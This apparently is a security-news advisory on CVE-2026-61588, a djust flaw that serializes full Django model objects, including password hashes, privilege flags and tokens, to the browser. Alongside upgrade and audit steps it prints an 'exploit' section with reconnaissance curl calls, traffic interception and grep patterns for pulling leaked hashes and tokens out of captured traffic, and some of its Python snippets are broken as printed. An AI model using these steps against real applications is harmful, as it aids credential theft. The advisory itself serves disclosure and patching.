Listen to this Post
CVE-2026-61588 is a medium-severity information disclosure vulnerability affecting djust, a Python framework that provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. The vulnerability exists in djust versions prior to 1.0.7 and is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor).
The core issue lies in djust’s model serialization pipeline. When a Django `Model` instance is assigned to a public view attribute — a standard and encouraged pattern in djust for passing data to templates — the framework serializes the entire model object and transmits it to the client browser. Critically, prior to version 1.0.7, this serialization process lacked any sensitive-field denylist. This means that every field on the Django model was included in the payload sent to the browser, regardless of its sensitivity.
The exposed fields include, but are not limited to: `password` (the hashed credential string), privilege escalation flags such as `is_staff` and is_superuser, authentication tokens, secret keys, and other personally identifiable information (PII) stored on the model. Because exposing model objects to templates is a normal djust pattern, developers could unknowingly leak credentials and PII without realizing the full object crossed the wire.
This vulnerability is particularly insidious because it requires no special attacker privileges beyond network access to the application. An unauthenticated or low-privileged user who can reach a djust-powered view that renders a Django model will receive the complete serialized model in the client-side payload, including all sensitive fields. The CVSS v3.1 score is 6.5 (Medium), with a vector of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, indicating high confidentiality impact but no integrity or availability impact.
The fix in djust 1.0.7 introduces a secure-by-default sensitive-field denylist. Model serialization now withholds password/hash/token/secret-style fields and known privilege flags, with an identity-subset fallback. As a workaround, developers should keep `Model` instances on `_private` attributes and expose only the specific fields needed until patched.
DailyCVE Form:
Platform: djust
Version: <1.0.7
Vulnerability: Model field leak
Severity: Medium
date: Sep 16, 2026
Prediction: Sep 16, 2026
What Undercode Say:
Analytics
Check installed djust version
pip show djust | grep Version
Identify djust views exposing Django Model instances on public attributes
grep -rn "self.\w = ..objects." --include=".py" .
Find public attributes assigned Django Model querysets
grep -rn "self.\w = .Model" --include=".py" .
Check if sensitive fields exist in serialized payloads
curl -s http://target/djust-view | python -c "
import sys, json
data = json.load(sys.stdin)
def find_sensitive(obj, path=''):
if isinstance(obj, dict):
for k, v in obj.items():
if any(s in k.lower() for s in ['password','token','secret','hash','is_staff','is_superuser']):
print(f'{path}.{k}: {v}')
find_sensitive(v, f'{path}.{k}')
find_sensitive(data)
"
Vulnerable pattern: Model instance on public view attribute class UserProfileView(LiveView): def mount(self, request): FULL User model object serialized to client — including password hash self.user = User.objects.get(pk=request.user.pk) Safe pattern after 1.0.7 or workaround class UserProfileView(LiveView): def mount(self, request): Keep full model on _private self._user = User.objects.get(pk=request.user.pk) Expose only specific safe fields self.username = self._user.username self.email = self._user.email
Exploit: (Educational Purposes!)
Reconnaissance: identify djust-powered views
curl -s http://target/ | grep -i "djust|liveview"
Monitor WebSocket/SSE traffic for serialized model payloads
Using browser DevTools or mitmproxy
mitmproxy --mode regular --listen-port 8080
Filter WebSocket frames containing sensitive fields
In browser console, inspect the djust state payload:
window.<strong>djust_state</strong>
Extract leaked password hashes from serialized state
The following grep patterns help identify leaked fields in captured traffic:
grep -oE '"password":"[^"]"' captured_traffic.log
grep -oE '"is_superuser":(true|false)' captured_traffic.log
grep -oE '"is_staff":(true|false)' captured_traffic.log
grep -oE '"token":"[^"]"' captured_traffic.log
Automated detection script for djust serialization leaks
python3 -c "
import requests, json, re
target = 'http://target/djust-view'
r = requests.get(target)
Search response body for sensitive field patterns
patterns = ['password', 'is_superuser', 'is_staff', 'token', 'secret', 'hash']
for p in patterns:
if re.search(rf'\"{p}\"\s:', r.text):
print(f'[!] Potential leak detected: {p}')
"
Protection: from this CVE
Immediate mitigation: upgrade to djust 1.0.7+ pip install --upgrade djust>=1.0.7 Verify the upgrade pip show djust | grep Version Workaround for versions that cannot be upgraded immediately: 1. Move all Django Model instances to <em>private attributes 2. Explicitly expose only safe fields as public attributes 3. Audit all views for public model attributes Audit script: find all public model assignments in views grep -rn "self.[^</em>]\w\s=\s..objects.|self.[^_]\w\s=\s.Model" --include=".py" . System check after upgrade (djust 1.0.7+ includes security checks) python manage.py check --deploy
Impact:
When a Django `Model` instance is assigned to a public view attribute in djust prior to 1.0.7, the serialization pipeline transmits the complete model object to the client browser without any field filtering. This results in the exposure of:
– Password hashes (password field) — enables offline credential cracking attacks
– Privilege flags (is_staff, is_superuser) — reveals administrative users to attackers
– Authentication tokens — facilitates account takeover and session hijacking
– PII (email addresses, phone numbers, addresses, etc.) — violates data protection regulations and enables targeted attacks
The CVSS v3.1 score of 6.5 (Medium) reflects high confidentiality impact (C:H) with no integrity or availability impact, requiring low privileges (PR:L) and no user interaction (UI:N) over the network (AV:N). The vulnerability is remotely exploitable and requires no special attacker positioning beyond network access to a djust-powered application.
Organizations running djust versions prior to 1.0.7 that expose Django models on public view attributes should treat this as an active data breach risk, as any client receiving the serialized payload — including unauthenticated users on public views — obtains the full model data including all sensitive fields.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
